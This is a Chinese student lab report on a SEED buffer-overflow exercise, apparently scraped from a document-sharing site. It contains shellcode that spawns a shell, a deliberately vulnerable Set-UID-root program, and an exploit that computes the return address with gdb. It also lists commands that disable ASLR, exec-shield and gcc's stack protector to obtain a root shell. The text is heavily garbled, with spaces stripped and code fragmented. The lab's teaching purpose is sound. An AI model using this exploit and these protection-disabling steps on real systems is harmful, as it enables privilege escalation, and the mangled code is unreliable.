缓冲区溢出Word格式.docx

上传人:b****8 文档编号:22909469 上传时间:2023-02-05 格式:DOCX 页数:14 大小:20.08KB
下载 相关 举报
缓冲区溢出Word格式.docx_第1页
第1页 / 共14页
缓冲区溢出Word格式.docx_第2页
第2页 / 共14页
缓冲区溢出Word格式.docx_第3页
第3页 / 共14页
缓冲区溢出Word格式.docx_第4页
第4页 / 共14页
缓冲区溢出Word格式.docx_第5页
第5页 / 共14页
点击查看更多>>
下载资源
资源描述

缓冲区溢出Word格式.docx

《缓冲区溢出Word格式.docx》由会员分享,可在线阅读,更多相关《缓冲区溢出Word格式.docx(14页珍藏版)》请在冰豆网上搜索。

缓冲区溢出Word格式.docx

$suroot

Password:

(enterrootpassword)

#/sbin/sysctl-wkernel.exec-shield=0

#/sbin/sysctl-wkernel.randomize_va_space=0

此外,为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。

因此,即你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持权限。

这个防护措施在/bin/bas在Fedora中,/bin/sh实际是指向/bin/bash的一个符号链接。

为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)替/bin/bash。

下面的指令描述了如何设置zsh程序:

$su

#wgetftp:

//thenextline)

core/4/i386/os/Fedora/RPMS/zsh-4.2.1-2.i386.rpm

#rpm-ivhzsh-4.2.1-2.i386.rpm

#cd/bin

#rmsh

#ln-szshsh

2.2Shellcode

在开始攻击之前,你需要一个Shellcode,Shellcode是登陆到shell它必须被载入内存,那样我们才能强迫程序跳转到它。

考虑以下程序:

#include

intmain(){

char*name[2];

name[0]=‘‘/bin/sh’’;

name[1]=NULL;

execve(name[0],name,NULL);

}

我们使用的shellcode是上述程序的汇编版。

下面的程序显示了如何通过利用shellcode任意重写一个缓冲区登录shell,请编译并运行以下代码,看shell是否被调用。

/*call_shellcode.c*/

/*Aprogramthatcreatesafilecontainingcodeforlaunchingshell*/

#include

constcharcode[

]=

"

\x31\xc0"

/*Line1:

xorl%eax,%eax*/

\x50"

/*Line2:

pushl%eax*/

\x68"

"

//sh"

/*Line3:

pushl$0x68732f2f*/

/bin"

/*Line4:

pushl$0x6e69622f*/

\x89\xe3"

/*Line5:

movl%esp,%ebx*/

/*Line6:

\x53"

/*Line7:

pushl%ebx*/

\x89\xe1"

/*Line8:

movl%esp,%ecx*/

\x99"

/*Line9:

cdql*/

\xb0\x0b"

/*Line10:

movb$0x0b,%al*/

\xcd\x80"

/*Line11:

int$0x80*/;

intmain(intargc,char**argv){charbuf[sizeof(code)];

strcpy(buf,code);

((void(*)())buf)();

这段shellcode的一些地方值得注意。

首先,第三行将“//sh”而不是“/sh”推入栈,这是因为我们在这里需要一个32位的数字而“/sh”只有24位。

幸运的是,“//”和“/”等价,所以我们使用“//”对程序也没什么影响,而且起到补位作用。

第二,在调用execve()之前,我们需要分别存储name[0](串地址),name(列地址)和NULL至%ebx,%ecx,和%edx寄存器。

第5将name[0]存储%ebx;

第8行将name存储到%ecx;

第9行将%edx设为0;

还有其它方法可以设%edx为0(如xorl%edx,%edx)。

这里用的(cdql)指令只是较为简短。

第三,当我们将%al设为11时调用了systemcallexecve(),并执行了“int$0x802.3有漏洞的程序

/*stack.c*/

/*Thisprogramhasabufferoverflowvulnerability.*/

/*Ourtaskistoexploitthisvulnerability*/

intbof(char*str)

{

charbuffer[12];

/*Thefollowingstatementhasabufferoverflowproblem*/

strcpy(buffer,str);

return1;

intmain(intargc,char**argv)

charstr[517];

FILE*badfile;

badfile=fopen("

badfile"

r"

);

fread(str,sizeof(char),517,badfile);

bof(str);

printf("

ReturnedProperly

\

n"

编译以上易被攻击的程序并用setuid机制设置其有效执行用户为root。

你可以通过用root帐户编译并chmod可执行到4755来实现:

$suroot

Pasword(enterrootpassword)

#gcc-ostackstack.c

#chmod4755stack

#exit

以上程序有一个缓冲区溢出漏洞。

它一开始从一个叫“badfile”的文件读了一个输入,然后将这个输入传递给了另一个bof()功能里的缓冲区。

原始输入最大长度为517bytes,然而bof()的长度仅为12bytes。

由于strcpy()不检查边界,将发生缓冲区溢出。

由于此程序有效执行用户为root,如果一个普通用户利用了此缓冲区溢出漏洞,他有可能获得rootshell。

应该注意到此程序是一个叫做“badfile”的文件获得输入的,这个文件受用户控制。

现在我们的目标是为“badfile”创建内容,这样当这段漏洞程序将此内容复制进它的缓冲区,便产生了一个rootshell。

2.4任务1:

攻击漏洞

我们提供给你一段部分完成的攻击代码“exploit.c”,这段代码的目的是为“badfile”创建内容。

代码中,shellcode已经给出,你需要完成其余部分。

/*exploit.c*/

/*Aprogramthatcreatesafilecontainingcodeforlaunchingshell*/

charshellcode[]=

/*xorl%eax,%eax*/

/*pushl%eax*/

/*pushl$0x68732f2f*/

/*pushl$0x6e69622f*/

/*movl%esp,%ebx*/

/*pushl%ebx*/

/*movl%esp,%ecx*/

/*cdql*/

/*movb$0x0b,%al*/

/*int$0x80

*/

;

voidmain(intargc,char**argv)

charbuffer[517];

/*Initializebufferwith0x90(NOPinstruction)*/

memset(&

buffer,0x90,517);

/*Youneedtofillthebufferwithappropriatecontentshere*/

/*Savethecontentstothefile"

badfile"

./badfile"

"

w"

fwrite(buffer,517,1,badfile);

fclose(badfile);

完成以上程序后编译并运行,它将为“badfile”生成内容。

如果你的攻击正确实现,你将得到一个rootshell:

$gcc-oexploitexploit.c

$./exploit//createthebadfile

$./stack//launchtheattackbyrunningthevulnerableprogram

#

值得注意的是,尽管你获得了“#”提示符,真正的用户id仍然是你自己(现在的有效用户id是root),你可以通过键入以下命令来检查:

#id

uid=(500)euid=0(root)

许多命令若被当成

Set-UID-root

进程来执行,将会与作为root进程时有所不同,因为它们知道真正的用户id并不是root。

为了解决这个问题,你可以运行以下程序将真正的用户id变为root通过这个方法,你将获得一个真正的root进程。

voidmain()

setuid(0);

system("

/bin/sh"

2.5任务2:

/bin/bash中的保护

现在,我们让/bin/sh指回到

/bin/bash,然后进行和之前任务中同样的攻击。

还能得到shell吗?

这个shell是rootshell吗?

发生了什么?

在实验报告中描述你观察到的现象并解释。

#ln-sbashsh//link/bin/shto/bin/bash

有办法可以避开这个保护策略,你需要修改shellcode.对这一攻击我们将给予10分的奖励。

提示:

尽管/bin/bash对运行Set-UID程序有限制,它确实允许真正的root运行shells的。

因此,如果你可以在调用/bin/bash之前将当前Set-UID程序变为一个真正的root进程,你便可以逃脱bash的限制。

可以使用系统调用setuid()来完成。

2.6任务3:

地址随机化

现在,让我们打开Fedora的地址随机化。

我们进行与任务1中同样的攻击,你能得到shell吗?

如果不能,问题出在哪里?

地址随机化是怎样使你的攻击变得困难的?

你可以使用以下指令打开地址随机化:

#/sbin/sysctl-wkernel.randomize_va_space=1

2.7任务4:

执行屏蔽的栈

Fedora允许root对栈实行执行屏蔽,你可以使用以下命令来实现(再次将地址随机化关闭)。

你还能再进行与任务1中同样的攻击吗?

请在实验报告中说明你所观察到的现象并证明。

#/sbin/sysctl-wkernel.exec-shield=1

#/sbin/sysctl-wkernel.randomize_va_space=0

执行屏蔽栈只是禁止了在栈上运行shellcode,但是它并没有阻止缓冲区溢出攻击,因为当一个缓冲区溢出漏洞被利用后,还有别的办法可以运行恶意代码。

return-to-libc攻击就是一个例子。

我们为此设计了一个单独的实验,如果你感兴趣,可以看我们的return-to-libc攻击实验了解详情。

三、实验步骤

3.1初始设置

Ubuntu和其他一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。

因此本次实验中,我们使用以下命令关闭这一功能:

sudosysctl-wkernel.randomize_va_space=0

因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。

linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。

为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。

sudosu

cd/bin

rmsh

ln-szshsh

Exit

3.2shellcode

一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是

shellcode。

观察以下代码:

本次实验的shellcode,就是刚才代码的汇编版本:

\x31\xc0\x50\x68"

\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3.3漏洞程序

把以下代码保存为“stack.c”文件,保存到/tmp目录下。

代码如下:

/*stack.c*/

intbof(char*str){

intmain(intargc,char**argv){

ReturnedProperly\n"

通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。

编译该程序,并设置SET-UID。

命令如下:

gcc-m32-g-zexecstack-fno-stack-protector-ostackstack.c

chmodu+sstack

GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用–fno-stack-protector关闭这种机制。

而-zexecstack用于允许执行栈。

3.4攻击程序

我们的目的是攻击刚才的漏洞程序,并通过攻击获得root权限。

把以下代码保存为“exploit.c”文件,保存到/tmp目录下。

//xorl%eax,%eax

//pushl%eax

//pushl$0x68732f2f

//pushl$0x6e69622f

//movl%esp,%ebx//pushl%eax//pushl%ebx//movl%esp,%ecx//cdq//movb$0x0b,%al//int$0x80;

voidmain(intargc,char**argv){

strcpy(buffer,"

\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x?

?

\x?

strcpy(buffer+100,shellcode);

注意上面的代码,“\x?

”处需要添上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。

shellcode保存在buffer+100而strcpy(buffer+100,shellcode);

这一句又告诉我们,

的位置。

现在我们要得到shellcode在内存中的地址,输入命令:

gdbstack

disassmain

结果如图:

接下来的操作:

根据语句strcpy(buffer+100,shellcode);

我们计算shellcode的地址为0xffffd1b0(十六进制)+100(十进制)=0xffffd214(十六进制)

现在修改exploit.c文件!

将\x?

修改为\x14\xd2\xff\xff然后,编译exploit.c程序:

gcc-m32-oexploitexploit.c

3.5攻击结果

先运行攻击程序exploit,再运行漏洞程序stack,观察结果:

可见,通过攻击,获得了root权限!

如果不能攻击成功,提示”段错误“,那么请重新使用gdb反汇编,计算内存地址。

结论分析与体会:

缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。

利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。

更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。

我们根据这个网址(http:

//www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/)的要求,安装虚拟机,配置文件,参考实验指导书,并进行了小组的讨论。

最后成功的利用了缓冲区溢出的漏洞获得了root权限。

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 总结汇报 > 学习总结

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1